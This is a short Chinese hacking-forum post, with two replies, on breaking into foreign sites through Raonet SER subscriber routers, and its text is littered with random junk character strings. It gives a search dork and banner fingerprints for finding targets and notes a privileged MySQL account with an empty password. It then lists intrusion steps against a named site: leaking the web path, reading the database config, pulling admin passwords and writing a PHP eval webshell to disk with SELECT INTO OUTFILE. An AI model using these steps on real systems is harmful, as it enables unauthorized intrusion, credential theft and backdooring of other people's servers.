利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：

: l) v5 ^) r& w4 v1：google搜索'Raonet Subscriber Ethernet Router'
1 X* Q) s& y* n! E# q+ G
2 O1 T" T. {" t2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

7 j4 w! q! w! t6 y% t; K3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
. O' A! L( Y% O" N. E3 V  W
6 b9 A& N; i7 O2 V  Q//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
2 t- F/ a9 m7 M( ]$ Y! J
2 P3 t; o  g+ q" }. S/ M
% [, ^! I5 L# |- H8 {1 R
$ D; O  D0 W( p7 O2 ^0 H! J入侵步骤：

9 F8 O3 x7 w3 o2 B% V3 `1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
' _: l8 |0 I0 R$ ~/ w: c" d
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
use ser_500
select id,passwd from user;
4:通过数据库写入webshell，执行命令：
use mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
/ i3 f  l" v9 ^; c9 A* ~drop table ok;

! l7 p/ g1 ]1 g* A6 l8 K5:连接后门shell.php

6. 搞定！

Anthony~

这个后果可以很严重的说

jos666

不错哦，黑服务器补洞。。